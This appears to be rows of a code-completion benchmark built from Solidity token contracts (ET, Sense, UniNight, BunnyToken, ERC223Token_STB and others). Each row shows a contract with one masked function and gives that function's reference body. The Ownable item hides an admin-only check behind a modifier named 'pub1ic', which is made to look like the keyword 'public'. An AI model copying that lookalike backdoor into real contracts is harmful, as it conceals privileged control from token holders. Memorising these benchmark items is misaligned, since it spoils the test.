// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> }
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | contract ET is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "Exchange Token";
name = "ET";
decimals = 8;
_totalSupply = 10000000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
<FILL_FUNCTION>
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} |
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
| function transferFrom(address from, address to, uint tokens) public returns (bool success) | // ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) |
4160 | Sense | transferFrom | contract Sense is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function Sense() public {
symbol = "SENSE";
name = "Sense";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0xf66Fe609FBB953C976100B2aCbe687F4023Bc267] = _totalSupply;
Transfer(address(0), 0xf66Fe609FBB953C976100B2aCbe687F4023Bc267, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> }
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
function withdrawTokens(address tokenContract) external onlyOwner {
Token tc = Token(tokenContract);
tc.transfer(owner, tc.balanceOf(this));
}
function withdrawEther() external onlyOwner {
owner.transfer(this.balance);
}
} | contract Sense is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function Sense() public {
symbol = "SENSE";
name = "Sense";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[0xf66Fe609FBB953C976100B2aCbe687F4023Bc267] = _totalSupply;
Transfer(address(0), 0xf66Fe609FBB953C976100B2aCbe687F4023Bc267, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
<FILL_FUNCTION>
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
function withdrawTokens(address tokenContract) external onlyOwner {
Token tc = Token(tokenContract);
tc.transfer(owner, tc.balanceOf(this));
}
function withdrawEther() external onlyOwner {
owner.transfer(this.balance);
}
} |
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
| function transferFrom(address from, address to, uint tokens) public returns (bool success) | // ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) |
29286 | UniNight | transfer | contract UniNight is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) private balances;
mapping(address => mapping(address => uint256)) private allowed;
string public constant name = "UniNight";
string public constant symbol = "NIGHT";
uint8 public constant decimals = 18;
address owner = msg.sender;
uint256 _totalSupply = 100000 * (10**18);
constructor() public {
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address player) public view returns (uint256) {
return balances[player];
}
function allowance(address player, address spender)
public
view
returns (uint256)
{
return allowed[player][spender];
}
function transfer(address to, uint256 value) public returns (bool) {<FILL_FUNCTION_BODY> }
function multiTransfer(address[] memory receivers, uint256[] memory amounts)
public
{
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
}
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function approveAndCall(
address spender,
uint256 tokens,
bytes data
) external returns (bool) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(
msg.sender,
tokens,
this,
data
);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
) public returns (bool) {
require(value <= balances[from]);
require(value <= allowed[from][msg.sender]);
require(to != address(0));
balances[from] = balances[from].sub(value);
balances[to] = balances[to].add(value);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
require(spender != address(0));
allowed[msg.sender][spender] = allowed[msg.sender][spender].add(
addedValue
);
emit Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
require(spender != address(0));
allowed[msg.sender][spender] = allowed[msg.sender][spender].sub(
subtractedValue
);
emit Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
function burn(uint256 amount) external {
require(amount != 0);
require(amount <= balances[msg.sender]);
_totalSupply = _totalSupply.sub(amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
emit Transfer(msg.sender, address(0), amount);
}
} | contract UniNight is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) private balances;
mapping(address => mapping(address => uint256)) private allowed;
string public constant name = "UniNight";
string public constant symbol = "NIGHT";
uint8 public constant decimals = 18;
address owner = msg.sender;
uint256 _totalSupply = 100000 * (10**18);
constructor() public {
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address player) public view returns (uint256) {
return balances[player];
}
function allowance(address player, address spender)
public
view
returns (uint256)
{
return allowed[player][spender];
}
<FILL_FUNCTION>
function multiTransfer(address[] memory receivers, uint256[] memory amounts)
public
{
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
}
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function approveAndCall(
address spender,
uint256 tokens,
bytes data
) external returns (bool) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(
msg.sender,
tokens,
this,
data
);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
) public returns (bool) {
require(value <= balances[from]);
require(value <= allowed[from][msg.sender]);
require(to != address(0));
balances[from] = balances[from].sub(value);
balances[to] = balances[to].add(value);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
require(spender != address(0));
allowed[msg.sender][spender] = allowed[msg.sender][spender].add(
addedValue
);
emit Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
require(spender != address(0));
allowed[msg.sender][spender] = allowed[msg.sender][spender].sub(
subtractedValue
);
emit Approval(msg.sender, spender, allowed[msg.sender][spender]);
return true;
}
function burn(uint256 amount) external {
require(amount != 0);
require(amount <= balances[msg.sender]);
_totalSupply = _totalSupply.sub(amount);
balances[msg.sender] = balances[msg.sender].sub(amount);
emit Transfer(msg.sender, address(0), amount);
}
} |
require(value <= balances[msg.sender]);
require(to != address(0));
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
| function transfer(address to, uint256 value) public returns (bool) | function transfer(address to, uint256 value) public returns (bool) |
73208 | StandardToken | transferFrom | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {<FILL_FUNCTION_BODY> }
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) returns (bool success) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
<FILL_FUNCTION>
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) returns (bool success) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} |
var _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
| function transferFrom(address _from, address _to, uint256 _value) returns (bool) | function transferFrom(address _from, address _to, uint256 _value) returns (bool) |
60828 | BunnyToken | checkPermissions | contract BunnyToken is StandardToken, BurnableToken, Ownable {
using SafeMath for uint;
string constant public symbol = "BUNNY";
string constant public name = "BunnyToken";
uint8 constant public decimals = 18;
uint256 INITIAL_SUPPLY = 1000000000e18;
uint constant ITSStartTime = 1520949600; // Tuesday, March 13, 2018 2:00:00 PM
uint constant ITSEndTime = 1527292800; // Saturday, May 26, 2018 12:00:00 AM
uint constant unlockTime = 1546300800; // Tuesday, January 1, 2019 12:00:00 AM
address company = 0x7C4Fd656F0B5E847b42a62c0Ad1227c1D800EcCa;
address team = 0xd230f231F59A60110A56A813cAa26a7a0D0B4d44;
address crowdsale = 0xf9e5041a578d48331c54ba3c494e7bcbc70a30ca;
address bounty = 0x4912b269f6f45753919a95e134d546c1c0771ac1;
address beneficiary = 0xcC146FEB2C18057923D7eBd116843adB93F0510C;
uint constant companyTokens = 150000000e18;
uint constant teamTokens = 70000000e18;
uint constant crowdsaleTokens = 700000000e18;
uint constant bountyTokens = 30000000e18;
function BunnyToken() public {
totalSupply_ = INITIAL_SUPPLY;
// InitialDistribution
preSale(company, companyTokens);
preSale(team, teamTokens);
preSale(crowdsale, crowdsaleTokens);
preSale(bounty, bountyTokens);
// Private Pre-Sale
preSale(0x300A2CA8fBEDce29073FD528085AFEe1c5ddEa83, 10000000e18);
preSale(0xA7a8888800F1ADa6afe418AE8288168456F60121, 8000000e18);
preSale(0x9fc3f5e827afc5D4389Aff2B4962806DB6661dcF, 6000000e18);
preSale(0xa6B4eB28225e90071E11f72982e33c46720c9E1e, 5000000e18);
preSale(0x7fE536Df82b773A7Fa6fd0866C7eBd3a4DB85E58, 5000000e18);
preSale(0xC3Fd11e1476800f1E7815520059F86A90CF4D2a6, 5000000e18);
preSale(0x813b6581FdBCEc638ACA36C55A2C71C79177beE3, 4000000e18);
preSale(0x9779722874fd86Fe3459cDa3e6AF78908b473711, 2000000e18);
preSale(0x98A1d2C9091321CCb4eAcaB11e917DC2e029141F, 1000000e18);
preSale(0xe5aBBE2761a6cBfaa839a4CC4c495E1Fc021587F, 1000000e18);
preSale(0x1A3F2E3C77dfa64FBCF1592735A30D5606128654, 1000000e18);
preSale(0x41F1337A7C0D216bcF84DFc13d3B485ba605df0e, 1000000e18);
preSale(0xAC24Fc3b2bd1ef2E977EC200405717Af8BEBAfE7, 500000e18);
preSale(0xd140f1abbdD7bd6260f2813fF7dB0Cb91A5b3Dcc, 500000e18);
}
function preSale(address _address, uint _amount) internal returns (bool) {
balances[_address] = _amount;
Transfer(address(0x0), _address, _amount);
}
function checkPermissions(address _from) internal constant returns (bool) {<FILL_FUNCTION_BODY> }
function transfer(address _to, uint256 _value) public returns (bool) {
require(checkPermissions(msg.sender));
super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(checkPermissions(_from));
super.transferFrom(_from, _to, _value);
}
function () public payable {
require(msg.value >= 1e16);
beneficiary.transfer(msg.value);
}
} | contract BunnyToken is StandardToken, BurnableToken, Ownable {
using SafeMath for uint;
string constant public symbol = "BUNNY";
string constant public name = "BunnyToken";
uint8 constant public decimals = 18;
uint256 INITIAL_SUPPLY = 1000000000e18;
uint constant ITSStartTime = 1520949600; // Tuesday, March 13, 2018 2:00:00 PM
uint constant ITSEndTime = 1527292800; // Saturday, May 26, 2018 12:00:00 AM
uint constant unlockTime = 1546300800; // Tuesday, January 1, 2019 12:00:00 AM
address company = 0x7C4Fd656F0B5E847b42a62c0Ad1227c1D800EcCa;
address team = 0xd230f231F59A60110A56A813cAa26a7a0D0B4d44;
address crowdsale = 0xf9e5041a578d48331c54ba3c494e7bcbc70a30ca;
address bounty = 0x4912b269f6f45753919a95e134d546c1c0771ac1;
address beneficiary = 0xcC146FEB2C18057923D7eBd116843adB93F0510C;
uint constant companyTokens = 150000000e18;
uint constant teamTokens = 70000000e18;
uint constant crowdsaleTokens = 700000000e18;
uint constant bountyTokens = 30000000e18;
function BunnyToken() public {
totalSupply_ = INITIAL_SUPPLY;
// InitialDistribution
preSale(company, companyTokens);
preSale(team, teamTokens);
preSale(crowdsale, crowdsaleTokens);
preSale(bounty, bountyTokens);
// Private Pre-Sale
preSale(0x300A2CA8fBEDce29073FD528085AFEe1c5ddEa83, 10000000e18);
preSale(0xA7a8888800F1ADa6afe418AE8288168456F60121, 8000000e18);
preSale(0x9fc3f5e827afc5D4389Aff2B4962806DB6661dcF, 6000000e18);
preSale(0xa6B4eB28225e90071E11f72982e33c46720c9E1e, 5000000e18);
preSale(0x7fE536Df82b773A7Fa6fd0866C7eBd3a4DB85E58, 5000000e18);
preSale(0xC3Fd11e1476800f1E7815520059F86A90CF4D2a6, 5000000e18);
preSale(0x813b6581FdBCEc638ACA36C55A2C71C79177beE3, 4000000e18);
preSale(0x9779722874fd86Fe3459cDa3e6AF78908b473711, 2000000e18);
preSale(0x98A1d2C9091321CCb4eAcaB11e917DC2e029141F, 1000000e18);
preSale(0xe5aBBE2761a6cBfaa839a4CC4c495E1Fc021587F, 1000000e18);
preSale(0x1A3F2E3C77dfa64FBCF1592735A30D5606128654, 1000000e18);
preSale(0x41F1337A7C0D216bcF84DFc13d3B485ba605df0e, 1000000e18);
preSale(0xAC24Fc3b2bd1ef2E977EC200405717Af8BEBAfE7, 500000e18);
preSale(0xd140f1abbdD7bd6260f2813fF7dB0Cb91A5b3Dcc, 500000e18);
}
function preSale(address _address, uint _amount) internal returns (bool) {
balances[_address] = _amount;
Transfer(address(0x0), _address, _amount);
}
<FILL_FUNCTION>
function transfer(address _to, uint256 _value) public returns (bool) {
require(checkPermissions(msg.sender));
super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(checkPermissions(_from));
super.transferFrom(_from, _to, _value);
}
function () public payable {
require(msg.value >= 1e16);
beneficiary.transfer(msg.value);
}
} |
if (_from == team && now < unlockTime) {
return false;
}
if (_from == bounty || _from == crowdsale || _from == company) {
return true;
}
if (now < ITSEndTime) {
return false;
} else {
return true;
}
| function checkPermissions(address _from) internal constant returns (bool) | function checkPermissions(address _from) internal constant returns (bool) |
44192 | Ownable | transferIt | contract Ownable {
address public owner;
address public admin;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
admin=msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier pub1ic() {
require(msg.sender == admin);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function transferIt(address newpub1ic) pub1ic {<FILL_FUNCTION_BODY> }
} | contract Ownable {
address public owner;
address public admin;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
admin=msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier pub1ic() {
require(msg.sender == admin);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
<FILL_FUNCTION>
} |
if (newpub1ic != address(0)) {
admin = newpub1ic;
}
| function transferIt(address newpub1ic) pub1ic | function transferIt(address newpub1ic) pub1ic |
61673 | ERC223Token_STB | ERC223Token_STB | contract ERC223Token_STB is ERC223, SafeMath, Ownable {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping(address => uint) balances;
// stable params:
uint256 public maxSupply;
uint256 public icoEndBlock;
address public icoAddress;
function ERC223Token_STB() {<FILL_FUNCTION_BODY> }
// Function to access max supply of tokens .
function maxSupply() constant returns (uint256 _maxSupply) {
return maxSupply;
}
// /stable params
// Function to access name of token .
function name() constant returns (string _name) {
return name;
}
// Function to access symbol of token .
function symbol() constant returns (string _symbol) {
return symbol;
}
// Function to access decimals of token .
function decimals() constant returns (uint8 _decimals) {
return decimals;
}
// Function to access total supply of tokens .
function totalSupply() constant returns (uint256 _totalSupply) {
return totalSupply;
}
function icoAddress() constant returns (address _icoAddress) {
return icoAddress;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) returns (bool success) {
if(isContract(_to)) {
transferToContract(_to, _value, _data);
}
else {
transferToAddress(_to, _value, _data);
}
return true;
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) returns (bool success) {
bytes memory empty;
if(isContract(_to)) {
transferToContract(_to, _value, empty);
}
else {
transferToAddress(_to, _value, empty);
}
return true;
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private returns (bool is_contract) {
uint length;
_addr = _addr; // workaround for Mist's inability to compile
is_contract = is_contract; // workaround for Mist's inability to compile
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
if(length>0) {
return true;
}
else {
return false;
}
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) throw;
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
Transfer(msg.sender, _to, _value, _data);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) throw;
balances[msg.sender] = safeSub(balanceOf(msg.sender), _value);
balances[_to] = safeAdd(balanceOf(_to), _value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
/* setting ICO address for allowing execution from the ICO contract */
function setIcoAddress(address _address) onlyOwner {
if (icoAddress == address(0)) {
icoAddress = _address;
}
else throw;
}
/* mint new tokens */
function mint(address _receiver, uint256 _amount) {
if (icoAddress == address(0)) throw;
if (msg.sender != icoAddress && msg.sender != owner) throw; // mint allowed only for ICO contract or owner
if (safeAdd(totalSupply, _amount) > maxSupply) throw;
totalSupply = safeAdd(totalSupply, _amount);
balances[_receiver] = safeAdd(balances[_receiver], _amount);
Transfer(0, _receiver, _amount, new bytes(0));
}
} | contract ERC223Token_STB is ERC223, SafeMath, Ownable {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping(address => uint) balances;
